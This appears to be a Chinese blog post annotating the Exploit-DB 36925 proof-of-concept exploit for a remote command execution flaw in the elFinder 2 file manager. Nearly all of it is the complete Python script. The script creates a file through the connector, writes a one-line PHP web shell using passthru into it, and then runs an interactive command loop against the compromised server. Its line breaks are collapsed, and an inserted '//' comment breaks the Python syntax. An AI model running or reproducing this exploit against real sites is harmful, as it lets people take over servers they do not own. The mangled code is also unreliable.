[python] EDBID-36925中POC的分析

来源：互联网发布：国外域名注册商查询编辑：程序博客网时间：2024/04/29 16:30
#[+] Author: TUNISIAN CYBER#[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability#[+] Date: 06-05-2015#[+] Vendor: https://github.com/Studio-42/elFinder#[+] Type: WebAPP#[+] Tested on: KaliLinux (Debian)#[+] Twitter: @TCYB3R#[+] Time Line:#    03-05-2015:Vulnerability Discovered#    03-05-2015:Contacted Vendor#    04-05-2015:No response#    05-05-2015:No response#    06-05-2015:No response#    06-05-2015:Vulnerability publishedimport cookielib, urllibimport urllib2import sys print"\x20\x20+-------------------------------------------------+"print"\x20\x20| elFinder Remote Command Execution Vulnerability |"print"\x20\x20|                 TUNISIAN CYBER                  |"print"\x20\x20+-------------------------------------------------+"host = raw_input('\x20\x20Vulnerable Site:')#输入靶机网址evilfile = raw_input('\x20\x20EvilFileName:')#输入恶意文件地址path=raw_input('\x20\x20elFinder s Path:')#漏洞文件的路径  tcyber = cookielib.CookieJar()#初始化一个CookieJar来处理Cookieopener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))#自定义opener,并将opener跟CookieJar对象绑定 create = opener.open('http://'+host+'/'+path+'/php/connector.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')#访问主页 自动带着cookie信息，创建evilfile#print create.read() payload = urllib.urlencode({                            'cmd' : 'put',                            'target' : 'l1_'+evilfile.encode('base64','strict'),                            'content' : '<?php passthru($_GET[\'cmd\']); ?>'                            })#一句话木马的内容是，接收URL中cmd参数所传递的命令，并通过函数passthru()函数来执行。 write = opener.open('http://'+host+'/'+path+'/php/connector.php', payload)#向evilfile中写入一句话#print write.read()print '\n'while True:    try:        cmd = raw_input('[She3LL]:~# ')         execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))//使用了urllib.quote对命令cmd进行了URL编码        reverse = execute.read()        print reverse;         if cmd.strip() == 'exit':#如果输入的指令为exit，则退出。strip()函数用于删除指定的字符，默认为空格。            break     except Exception:        break sys.exit()
create变量中的内容
write变量中的内容
0 0